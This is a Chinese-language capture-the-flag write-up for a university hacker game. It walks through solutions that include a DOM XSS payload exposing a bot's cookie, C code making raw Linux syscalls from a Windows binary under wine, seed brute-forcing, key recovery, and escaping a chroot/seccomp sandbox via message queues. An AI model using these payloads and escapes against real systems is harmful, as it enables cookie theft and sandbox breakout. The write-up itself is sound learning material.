探索一番没发现别的解法,又回头看网页的源码,突然发现这里用的是一个 innerHTML 属性来设置内容,感觉有点眉目。经过搜索才知道,这是一种基于 DOM 的 XSS 攻击,不需要服务器参与。刚好提交信息的 bot 会在终端打印信息,那么把对应 DOM 的内容换成 cookie 不就行了?接下来的步骤就和官方题解一致了。payload 如下:

base64 -w0 << EOF
<img src=x onerror="document.querySelector('#greeting').innerHTML = document.cookie">:abc
EOF

第14题:杯窗鹅影

作为一个 Linux 用户(虽然日常 PC 是 Windows 居多,连本次比赛都大多是在 Windows 上完成的),wine 自然是熟悉的老朋友了。一个能在 Linux 运行 Windows 二进制程序的软件,听上去就很神奇,我对它的工作原理也一直比较好奇。

只要对 wine 有所了解或者看过官网,就会知道 wine 不是一个模拟器(“wine is not an emulator”),而是一个兼容层。此话怎讲?这就要说到不同操作系统的可执行文件格式了。

可执行文件,本质上就是一堆机器代码,只要这些代码被 CPU 加载执行,就是运行了我们要的程序。那么理论上讲,只要是同样指令集架构的 CPU(比如同样是 x86_64),那么同样的程序就应该都能正常执行。但为什么我们见到的程序都是与操作系统有关的呢?

这是因为,可执行文件除了机器代码外,还有一层用来封装代码的文件格式,它包含了一些程序包括哪些函数、入口在哪里(即要从哪里开始执行)、链接了哪些动态链接库等等的信息,需要和机器代码一起包装起来,而不同操作系统使用的文件格式是不一样的。Linux 使用的是 ELF 格式,而 Windows 使用的是 PE 格式。从格式上讲,不同操作系统就互不相认了。

既然只是文件格式不兼容,那么有没有一种可能,用一个程序去解析文件格式,把机器代码剥离出来,然后执行这些代码,就可以执行另一个操作系统的可执行文件了?wine 正是基于这样的思路。不过,仅仅这样还是不够的,程序为了完成各种功能,比如读写文件、接收用户鼠标键盘输入、向显示器显示图形,这些都需要操作系统的支持,因此程序往往还需要调用一些系统库函数(在 Windows 上通常就是 ntdll.dll, msvcrt.dll 之类的动态链接库)或者执行系统调用。如果不能提供这些功能,程序就没法正常运行。

好在,因为 Windows 的系统调用并不稳定,经常更改,绝大部分应用程序为了兼容性都不会亲自在代码中发起系统调用,而是调用更加稳定的 ntdll.dll 等 dll 提供的函数。于是,wine 一个个找出了 Windows 上常见的系统 dll,并通过黑箱的方式在 Linux 上自己从头实现了这些函数,当 Windows 程序发起函数调用的时候,就会跳转到 wine 自己实现的这些函数上去执行,这样这些程序在 Linux 上也能正常运行了。

不过,这也意味着,正如 wine FAQ 所说,wine 不会也不能阻止 Windows 程序调用系统调用,wine 只会忠实地原样执行可执行文件里的代码,包括系统调用,因此 wine 不是任何意义上的沙箱。

我凭借这个印象,读完题目后直接搜索 wine syscall,搜到的第二个结构就是一篇 lwn 文章:Emulating Windows system calls in Linux,发现本文我之前看过,而文章一开始也说了 wine 不能阻止 Windows 程序发起系统调用。

既然 wine 会原样执行代码中的系统调用,那么如果我们自己写汇编,去按照 Linux 上的约定发起 Linux 的系统调用,就和普通的 Linux 程序一样了。只不过是编译成 Windows 上的 PE 格式而已,所以还是需要 mingw-w64 工具链。因为我日常主要用 Windows,而 msys2 基本上是必需品,所以 mingw-w64 和 gcc 编译工具链不成问题,直接在 msys2 下用 gcc 命令就能编译了。

系统调用和函数调用类似,都是一条机器指令,比如在 x86_64 上就是 syscall 指令,只不过系统调用不会跳转到函数上去,而是把控制权直接交给操作系统内核,由操作系统内核决定该做什么事。对于想发起系统调用的用户代码来说,需要做的就是准备好系统调用需要的各种数据,按照约定放入指定的寄存器,然后执行一条 syscall 指令就可以了。

因为手写汇编比较麻烦,而传统上系统调用这一工作由 libc 代劳,所以我直接去搜索 musl 的代码,抄来了它用来发起系统调用的函数。接下来,只需要写代码就可以了。

flag1

第一问,我没想到 wine 模拟的 Windows 函数也能访问 Linux 的路径,而是用上述思路发起系统调用。

在 Linux 上读取一个文件需要两个系统调用,open 打开文件、read 读取文件内容。对 Linux 编程不太熟悉的读者,我推荐阅读一下《unix 环境高级编程》(APUE)这本书,虽然比较老了,但是作为这方面知识的入门还是很不错的。

只需要传递 flag 文件的路径,用 open 打开文件,再用 read 读取文件就可以了。

#include <stdio.h>
#include <stdint.h>

// https://github.com/bminor/musl/blob/master/arch/x86_64/syscall_arch.h
static inline int64_t __syscall2(int64_t n, int64_t a1, int64_t a2)
{
    int64_t ret;
    __asm__ volatile ("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2)
                      : "rcx", "r11", "memory");
    return ret;
}

static inline int64_t __syscall3(int64_t n, int64_t a1, int64_t a2, int64_t a3)
{
    int64_t ret;
    __asm__ volatile ("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2),
                      "d"(a3) : "rcx", "r11", "memory");
    return ret;
}

// https://github.com/bminor/musl/blob/master/include/fcntl.h
#define O_RDONLY  0
#define O_WRONLY  1
#define O_RDWR    2

// https://github.com/bminor/musl/blob/master/arch/x86_64/bits/syscall.h.in
#define SYS_read   0
#define SYS_write  1
#define SYS_open   2

int open(const char *filename, int flags)
{
    return (int)__syscall2(SYS_open, (int64_t)filename, flags);
}

ssize_t read(int fd, void *buf, size_t count)
{
    return (ssize_t)__syscall3(SYS_read, fd, (int64_t)buf, count);
}

int main(void)
{
    int fd = open("/flag1", O_RDONLY);
    if (fd < 0) {
        fprintf(stderr, "open: %d\n", fd);
        return 1;
    }

    char buf[4096];
    ssize_t length;
    if ((length = read(fd, buf, 4096)) < 0) {
        fprintf(stderr, "read: %zd\n", length);
        return 1;
    }
    buf[length] = '\0';

    printf("flag1: %s\n", buf);
    return 0;
}

flag2

在 Linux 上,用来执行一个可执行文件的系统调用是 execve,我们只需要把可执行文件的路径传给它就行了。因为只需要一个系统调用,代码反而比上一问还简单些(

#include <stdio.h>
#include <stdint.h>

// https://github.com/bminor/musl/blob/master/arch/x86_64/syscall_arch.h
static inline int64_t __syscall3(int64_t n, int64_t a1, int64_t a2, int64_t a3)
{
    int64_t ret;
    __asm__ volatile ("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2),
                      "d"(a3) : "rcx", "r11", "memory");
    return ret;
}

// https://github.com/bminor/musl/blob/master/arch/x86_64/bits/syscall.h.in
#define SYS_execve  59

int execve(const char *path, char *const argv[], char *const envp[])
{
    return __syscall3(SYS_execve, (int64_t)path, (int64_t)argv, (int64_t)envp);
}

int main(void)
{
    char *argv[] = {"readflag", NULL};
    char *envp[] = {NULL};

    int ret;
    if ((ret = execve("/readflag", argv, envp)) < 0) {
        fprintf(stderr, "execve: %d\n", ret);
        return 1;
    }
    // unreachable
}

第15题:蒙特卡罗轮盘赌

阅读题目代码,看到这一行:

srand((unsigned)time(0) + clock());

发现本题用到了 srandrand 这两个伪随机数函数,于是问题很明显是爆破随机种子了。因为题目是五局三胜,所以一个很容易想到的策略是,先故意失败两次,然后获得前两次模拟的正确结果,在本地爆破种子,直到猜对前两次结果,然后把后三次结果计算出来。

注意到这里的随机种子是用 time(0) + clock() 来初始化的,其中 time(0) 其实是 time(NULL),返回一个表示当前 unix 时间戳的整数,而 clock() 是返回当前进程使用 CPU 的时间,是一个以微秒为单位的整数。

显然,作为时间戳,time 的返回值是很容易预测的。而对于 clock 我一开始记错了,误以为 clock 是返回从操作系统启动开始计时的时间,认为它的值很难预测,就从 seed = 0 开始爆破,在我的电脑上 1024 个种子需要计算大约 12 秒,几个小时才爆破出了结果,而此时 netcat 连接早就超过五分钟被 killed 断开连接了。

后来经过尝试我才注意到,每次进程开始 clock 总是返回一个很小的值,通常是几百微秒,又仔细读了手册才发现它是返回进程的时间而不是操作系统的时间。那么爆破就非常容易了,只需要从当前时间戳开始,往后爆破最多大约 1000~2000 个值就够了。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

static inline double rand01(void)
{
    return (double)rand() / RAND_MAX;
}

double calc_pi(char pi_str[static 10])
{
    int M = 0;
    int N = 400000;
    for (int j = 0; j < N; j++) {
        double x = rand01();
        double y = rand01();
        if (x*x + y*y < 1) M++;
    }
    double pi = (double)M / N * 4;
    sprintf(pi_str, "%1.5f", pi);
    return pi;
}

int main(int argc, char *argv[])
{
    const char *expect1 = argv[1];
    const char *expect2 = argv[2];

    unsigned int seed_start, seed_end;
    seed_start = time(NULL);
    seed_end = seed_start + 2048;

    char pi_str[10];
    unsigned int seed;
    for (seed = seed_start; seed <= seed_end; seed++) {
        srand(seed);
        calc_pi(pi_str);
        if (strcmp(pi_str, expect1) != 0) continue;
        calc_pi(pi_str);
        if (strcmp(pi_str, expect2) != 0) continue;

        printf("Woo hoo! The seed is %u\n", seed);
        goto succeed;
    }

    printf("Unfortunately, not found.\n");
    return 1;

succeed:
    for (int i=0; i < 3; i++) {
        calc_pi(pi_str);
        printf("%s\n", pi_str);
    }
    return 0;
}

第17题:惜字如金

HS384

很有趣的一题,经过阅读代码以后发现,secret = b'ustc.edu.cn' 是这里 hmac 签名所使用的密钥,但它是经过惜字如金化的,并且告诉了我们惜字如金化之前密钥的长度是 39 个字节,那么我们就需要反向惜字如金化,找到原始的密钥。而可能的原始密钥有很多种,我们需要验证哪一个才是正确的。这里告诉了我们密钥的 sha384 哈希值,但这个哈希值同样是经过惜字如金化的。

这样,就有了一个思路:我们找到一个计算反向惜字如金化的算法,遍历所有的可能性,并对每一种可能性计算出 sha384 哈希摘要,再对哈希摘要进行惜字如金化,直到找到一个能对上题目所给数据的结果。伪代码如下:

import sys
import hashlib

def XZRJify(string: str) -> str: ...

def unXZRJify_ustc_edu_cn() -> list[str]: ...

expect1 = "ec18f9dbc4aba825c7d4f9c726db1cb0d0babf47f"
expect2 = "a170f33d53bc62074271866a4e4d1325dc27f644fdad"
sha384_length = 384 // 4  # 96

for x in unXZRJify_ustc_edu_cn():
    digest = hashlib.sha384(x.encode()).hexdigest()

    for i in range(len(expect1) + 1, sha384_length - len(expect2) + 1):
        if (
            XZRJify(digest[:i]) == expect1
            and XZRJify(digest[i:]) == expect2
        ):
            print(x)
            sys.exit(0)

点此查看完整代码

这个看上去有点奇怪的内层循环是干什么的呢?因为在题目源码中,这个 sha384 哈希摘要被截断成了两段,但我们不知道原先是从哪个位置截断的,只好从可能的截断位置中最左边的那个往右一个一个试,直到最右的位置。

原先我想当然地以为是从正中间截断的:

for x in unXZRJify_ustc_edu_cn():
    digest = hashlib.sha384(x.encode()).hexdigest()
    if (
        XZRJify(digest[:48]) == expect1
        and XZRJify(digest[48:]) == expect2
    ):
        print(x)
        break

结果程序运行了一遍以后没找到,然后才发现是自己想当然了,改正后才计算出来,结果是 usssttttttce.edddddu.ccccccnnnnnnnnnnnn,哈希摘要是从第 50 个字符处截断的。

接下来,就是用这个算出来的 key 来签名了,这就很简单了,代码如下:

import hmac
import base64

def sign(filename) -> None:
    secret = b"usssttttttce.edddddu.ccccccnnnnnnnnnnnn"

    with open(filename, "rb") as f:
        dgst = hmac.digest(secret, f.read(), "sha384")

    print(base64.urlsafe_b64encode(dgst).decode())

最后需要说明的是,这题的官方题解是有些问题的:

  • 总共有约81万种可能性,官方题解的做法漏掉了12多万种,比如 usttttttttccce.eddddddddddddu.ccccccccn 就是一种合理的可能性,但被官方题解的代码漏掉了。
  • 另外,官方题解中惜字如金化的代码也是有问题的,当单词结尾出现 ae 或者 ee 时也会删掉结尾的 e
  • 官方题解的代码在处理哈希摘要截断的地方也是有问题的,第一段的结尾是 f,是辅音字母,第二段开头是 a,是元音字母,如果原始摘要第一段的结尾是字母 e 的话,官方的代码是会忽略掉这种可能性的。

第18题:不可加密的异世界

本题的前两问还是不太难的,我密码学零基础,全靠临时抱佛脚看 CTF wiki 中关于分组模式的那一节做出了前两问。第三问当时就估计突破口在 CRC128 上,我一搜,好家伙第一个结果就是 2020 年 hacker game 的题解(

奈何基础知识不足,题解也没看懂,就无缘第三问了。

疏忽的神

在 AES 加密中,有两种基础运算:异或运算、AES 加解密。

异或运算有个很好的性质,那就是对任意满足 a ^ b == ca, b, c,一定有 a ^ c == bb ^ c == a 成立,这样可以轻易地知二求一。

对于 AES 加解密,只要知道密钥,并且知道明文块或者密文块任意二者其一,就能求出另一个。但是同时知道明文和密文,在这种情况下是无法求出密钥的。

利用这两条性质,选择合适的分组模式,就可以构造出来明文和密文一致的情况。先准备好两个工具函数:

# utils.py
from Crypto.Cipher import AES

def xor(x, y):
    return bytes(a ^ b for a, b in zip(x, y))

def aes_dec_block(key, msg):
    assert len(key) == len(msg) == 16
    return AES.new(key, AES.MODE_ECB).decrypt(msg)

对于第一问而言,需要加密的明文很短,长度小于一个块,而我们可以控制 iv,那么问题就很简单了。分别看看题目中提供的4个分组模式,发现 CBC 模式刚好可以满足要求:

在 CBC 模式下,我们可以用 key 和来对密文(其实也是明文)解密,得到一个解密的结果,然后让这个解密的结果和明文做异或运算,从而反推出 iv。这里的 key 是可以任选的。代码如下:

plaintext = b"Open the door!\x02\x02"
key = b"abcd1234abcd1234"
decrypted = aes_dec_block(key, plaintext)
iv = xor(decrypted, plaintext)
print(key.hex() + iv.hex())

心软的神

这一问需要加密的明文就长了很多,有 10 个块,不过不是一次性加密,而是加密每个块的时候可以用不同的密钥和 iv,那么只需要每个块单独考虑就行了,加密每个块互不干扰。

这一问我选择的是 OFB 模式,它的特点是用加密的输出块与明文块做异或运算,从而得到密文块。由于异或的特征,只需要得到一个全零的加密输出就行了,那么这里的任务就是用 10 个不同的 iv,分别得到从 1 到 10 每个块加密输出为全零即可,密钥 key 同样是任意的。用全零字节串和密钥,就可以一步步反推出 iv:

key = b"abcd1234abcd1234"

for i in range(10):
    data = aes_dec_block(key, bytes(16))
    for j in range(i):
        data = aes_dec_block(key, data)
    iv = data
    input(key.hex() + iv.hex())

置换魔群

置换群上的 RSA

阅读代码,发现这题实际上是随机生成了一个置换群作为 secret,然后乘 65537 次方的意思就是让这个置换操作连续执行 65537 次,得到加密后的数据。所以,我们的任务就是,已知这个加密后的置换群,求原始的置换群。因为我不太熟悉这方面的数学,所以就是用直觉加上一些简单的分析糊出来了一份代码(

由题目所述,一个置换群可以分解成数个循环的“小置换”,例如题目中的例子 A = (1 -> 2 -> 4 -> 1), (3 -> 3),标准化记为 A = (1, 2, 4)(3)。那么只需要倒推分析每个小置换即可。

例如一个长度为 5 的小置换 (A, B, C, D, E),对它平方,也就是让这个置换执行2次,执行 A -> B 再执行 B -> C,得到 A -> C,其它以此类推,便是 (A, C, E, B, D)。对于这个过程,把从 A 出发变换的次数记作 0,变换 4 次变成 E,变换 5 次则又回到 A。画在数轴上:

A    B    C    D    E    A    B    C    D    E   ...
+----+----+----+----+----+----+----+----+----+-- ...
0    1    2    3    4    5    6    7    8    9   ...

可以观察到,对位置 x 上的元素乘 n 次方,实际上就是 (x * n) % 5,其中 5 是小置换的元素个数,记为 length。比如,对位置 3 上的 D,乘 2 次方就是 (3 * 2) % 5 == 1,变换前位置 1 上的是 B,也就是位置 3 上的元素在变换后应该是 B。

不过,这里我们是需要反推,所以需要知道在变换 n 次之后,位置 1 上的元素 B,经过 n 次变换之前原先是在哪个位置上。因为凡是变换 n 次以后模 length 余 1 的位置就可以满足要求,因此,是求 index 满足 (index * n) % length == 1

只要求出了变换后的 B 在变换前的位置 x,就能轻易推出整个原始的小置换了。比如变换后的 C,在变换前的位置就是 (2 * index) % length。按照这个思路求出了一个置换群的每一个小置换,就可以组合成原始的置换群了。

点此查看完整代码

第20题:光与影

这是一道关于 webgl 的题,同样在我的知识盲区,我做出来这题基本纯属瞎猫抓到死耗子(

在 2020 年有一道关于 OpenGL 的题:超简陋的 OpenGL 小程序,也是 flag 被某样东西遮挡掉了,所以思路就是想办法去除遮挡。

我先是搜索了一下调试 webgl 的方案,想试试能不能通过挪动摄像机的方式看到 flag。因此找到了 Spector.js,但看上去它并不能用来挪动摄像机。所以,只好下载下来代码,尝试在本地改改代码。

简单浏览了一下代码,发现大部分都是一些基本的胶水代码,真正的逻辑应该是在 fragment-shader.js 里(你字多跟你混.jpg)。根据 OpenGL 入门教程中的介绍,这是一种叫做 glsl 的语言,是专门用来编写 shaders 的语言,可以理解为是专门为 GPU 编程的一种语言。shader 译为着色器,也就是俗称的“光影”,没错,玩 minecraft 的时候打的光影包主要指的就是它。

简单浏览了这段 glsl 代码,发现有一个 mk_homo 函数(警觉),发现在 sceneSDF 函数中调用了它。在这个函数中,调用了 5 个后缀为 SDF 的函数,前 4 个函数体都很长,只有第 5 个函数体很短,调用时的传参也与另外 4 个很不一样,所以先删掉这个函数试试?

没想到,好家伙,删掉这个函数以后 flag 直接就露出来了(

patch 如下:

diff --git a/fragment-shader.js b/fragment-shader.js
index b8e8d33..e772bf9 100644
--- a/fragment-shader.js
+++ b/fragment-shader.js
@@ -299,9 +299,8 @@ float sceneSDF(vec3 p, out vec3 pColor) {
     float t2 = t2SDF((mk_trans(-45.0, 0.0, 0.0) * pTO).xyz);
     float t3 = t3SDF((mk_trans(-80.0, 0.0, 0.0) * pTO).xyz);
     float t4 = t4SDF((mk_trans(-106.0, 0.0, 0.0) * pTO).xyz);
-    float t5 = t5SDF(p - vec3(36.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0);

-    float tmin = min(min(min(min(t1, t2), t3), t4), t5);
+    float tmin = min(min(min(t1, t2), t3), t4);
     return tmin;
 }

看不见的彼方

容器化技术

这一题主要是关于 Linux 上的容器化技术。在传统的类 unix 系统上,就有 chroot 这样改变进程根目录的功能,能把进程能够访问的目录限制在一个较小的范围内,是一种比较简单轻量的方案,但 chroot 不是完整的沙箱,被 chroot 的进程仍然能够看到外面的进程、与外面的进程通信,甚至可能以某些方式逃脱 chroot 的限制。

因此,Linux 引入了许多容器化技术,比如用来拦截系统调用的 seccomp,可以阻止进程调用指定的系统调用。本题中就是用了 seccomp 来禁止了 socket 有关的系统调用和用来调试的 ptrace 系统调用。ptrace 可以跨域进程边界访问其它进程的内存、寄存器,是非常强大的系统调用,stracegdb 这样的工具都用到了它,正因为它非常强大,所以通常的沙箱都会禁掉这个系统调用。

再比如用来限制 CPU 和内存等资源使用的 cgroups 控制组,用来防止进程占用过多资源。还有一系列 namespaces 命名空间,用来对进程的资源做彻底的隔离。比如 IPC 命名空间 可以阻止内外的进程以某些方式进行跨进程通信,比如网络命名空间可以隔离 socket 通信。

既然我们看到,Linux 引入了这么不同方面的多容器化技术,需要组合使用才能拼出一个完整的沙箱容器,那么仅仅 chroot 肯定是不够的。

io_uring

阅读本题的代码,发现这里没有挂载 /proc,那么我们没办法直接看到其它进程,想通过 /proc/<pid>/fd 来通信是不可能了。因为禁掉了 socket 相关的系统调用,所以 socket 通信也不可能了……吗?

在 Linux 上,除了 socket 相关的系统调用之外,还有一个机制可以使用 socket,那就是 io_uringio_uring 是 Linux 上的一种全新的与操作系统内核通信的机制,专为高性能的异步 IO 而设计。对 io_uring 有兴趣的同学可以先看看 Lord of the io_uring,虽然已经快两年没更新了,有的信息有些过时,不过作为入门还是可以看看的。

io_uring 既然是 IO,那么最基本的文件读写操作、socket 读写操作肯定都是有的,更出乎意料的是,用 io_uring 来执行这些操作是不受 seccomp 影响的,因为 seccomp 只关心系统调用。而本题恰好没有禁止 io_uring 相关的系统调用。

不过很可惜的是,我又读了读手册,发现 io_uring 没有提供等价于 bind, sendto, recvfrom 系统调用的功能,因此本题是没法用 io_uring 来解的。

socket 以外的 IPC

不过,如果读过《unix 环境高级编程》(APUE)的话,可能会想起来,进程间通信的方式不止 socket 这一种。比如 APUE 第三版的第 15 章“进程间通信”的第 15.7 节到 15.9 节就分别介绍了 3 种 IPC 的方式:消息队列、信号量和共享内存。

对于这三种 IPC 方式,分别有两种不同风格的接口:一种是传统 unix 系统上的 System V IPC,另一种是经过 posix 标准化的 POSIX IPC。

因为我们是需要传递 flag 这样的字节串数据,所以不考虑信号量。那么剩下的有 4 种:

  • System V 消息队列:msgget, msgsnd, msgrcv, msgctl 系统调用
  • POSIX 消息队列mq_open, mq_send, mq_receive 等函数
  • System V 共享内存:shmget, shmat, shmdt, shmctl 系统调用
  • POSIX 共享内存shm_open, shm_unlink 函数,以及 mmap 系统调用

其中前三种在 Linux 上都由系统调用直接支持,所以不依赖文件系统,即使跨越 chroot 的进程也可以使用这三种方案来通信。但第四种,Linux 没有直接支持 posix 共享内存,而是在 GNU/Linux 系统上由 glibc 实现的,它依赖挂载在 /dev/shm 目录上的 tmpfs,而在本题中因为 chroot 所以用不成。

实际上,如上 IPC 命名空间的手册所述,IPC 命名空间就是用来隔离 System V IPC 和 posix 消息队列的,正是因为它们不依赖文件系统标识。

解法

我当时做这题是用 posix 消息队列做的。大概看了一下选手们的题解,发现大多数都是用 System V 共享内存或者 System V 消息队列做的,还有的是和官方题解一样用 signal 的(这个解法我真的没想到)。那我就贴一下我的 posix 消息队列的做法吧,虽然也没什么特别的(

// alice.c
#include <stdio.h>
#include <fcntl.h>
#include <mqueue.h>
#include <unistd.h>

int main(void)
{
    mqd_t mq;
    struct mq_attr attr = {
        .mq_maxmsg = 10,
        .mq_msgsize = 1024,
    };
    mq = mq_open("/msgqueue", O_RDWR | O_CREAT, 0600, &attr);
    if (mq < 0) {
        perror("mq_open");
        return 1;
    }

    int fd = open("/secret", O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    char buf[1024];
    ssize_t ret;
    if ((ret = read(fd, buf, 64)) < 0) {
        perror("read");
        return 1;
    }
    buf[ret] = '\0';

    if (mq_send(mq, buf, 1024, 0) < 0) {
        perror("mq_send");
        return 1;
    }

    return 0;
}
// bob.c
#include <stdio.h>
#include <fcntl.h>
#include <mqueue.h>
#include <unistd.h>

int main(void)
{
    sleep(1);  // wait for Alice
    mqd_t mq = mq_open("/msgqueue", O_RDONLY);
    if (mq < 0) {
        perror("mq_open");
        return 1;
    }

    char buf[1024];
    if (mq_receive(mq, buf, 1024, 0) < 0) {
        perror("mq_receive");
        return 1;
    }

    printf("%s", buf);

    if (mq_unlink("/msgqueue") < 0) {
        perror("mq_unlink");
        return 1;
    }
    return 0;
}

(一点吐槽)希望将来 io_uring 能支持 bind, sendto, recvfrom 操作吧,这几个操作还是挺重要的。以及希望 seccomp 能早点支持 io_uring。(好梦在何方.jpg)

第30题:企鹅拼盘

这题的 TUI 说实话初见挺惊艳的,鼠标支持不算稀奇,但是竟然能实时报告鼠标位置,而且 help 弹窗还有弹出动画。看了一下代码,控件、布局、回调,真的有写 GUI 程序内味了。

这么简单我闭眼都可以!

第一问纯送分,手动输入序列挨个尝试即可。

大力当然出奇迹啦~

第二问序列的长度是 16 位,共 256 次拼盘,那么很显然是暴力破解题。阅读代码后发现,核心逻辑在 Board 类当中,并在 BPApp.watch_pc 中调用,其它的主要是些 UI 相关的代码。代码不难懂,不过这些意义不明的缩写变量命名看着真的头疼(

import sys
import json

from tqdm import tqdm

from BP import Board

def code_iter(bits: int):
    for n in range(1 << bits):
        yield [bool(n & (1 << i)) for i in range(bits)]

def main(jsonfilename, bitlength):
    bitlength = int(bitlength)
    with open(jsonfilename, encoding="utf-8") as f:
        branches = json.load(f)

    board = Board()
    for inbits in tqdm(list(code_iter(bitlength))):
        board.reset()
        for branch in branches:
            if inbits[branch[0]]:
                board.move(branch[1])
            else:
                board.move(branch[2])

        if board:
            print()
            print("".join("1" if bit else "0" for bit in inbits))
            break

if __name__ == "__main__":
    main(*sys.argv[1:3])

写在最后

这次做出来的题真比我预想要多不少,尤其是那几个数学题在以前可能都不敢想的。

除了做出来的题之外,还有“传达不到的文件”花了挺多时间的,可惜没做出来。当时的思路是,看到 /etc/ld.so.cache 是可写的,于是打算自己写一个 so 用 interpose libc 的方案来提权,只不过看不到 /chall 的文件内容只能是瞎子摸鸭子,试了好久也没成功。当时想到过 ptrace,不过根据我查到的资料说出于安全考虑,ptrace 对 suid 程序是没用的,所以就没考虑 ptrace 了。没想到正确的解法就是用 ptrace,看来还是我对 ptrace 了解不足。

还有“二次元神经网络”那题,因为对机器学习没任何基础,看到本题是要上传一个训好的模型,就没多考虑了。本来想当然地以为模型是一些自定义的二进制格式,没想到看了题解才知道是 pickle。用 pickle 构造任意代码执行并不困难,这题没多考虑是有点可惜了。(这题的二次元浓度是真的高.jpg)

另外关于 wine,本来还打算写一点之前看到的关于 futex2 的东西,当时社区有流言称“Linux 终于支持 WaitForMultipleObjects 了”,言下之意 Linux 落后了 Windows 好多年,然而实际上这是个彻头彻尾的误解。本来想写一点讲一讲这个问题的,不过题解都鸽到今天了,这个就先鸽置了吧()等以后搭博客了再写(咕咕咕.jpg

期待明年的 hacker game 🤣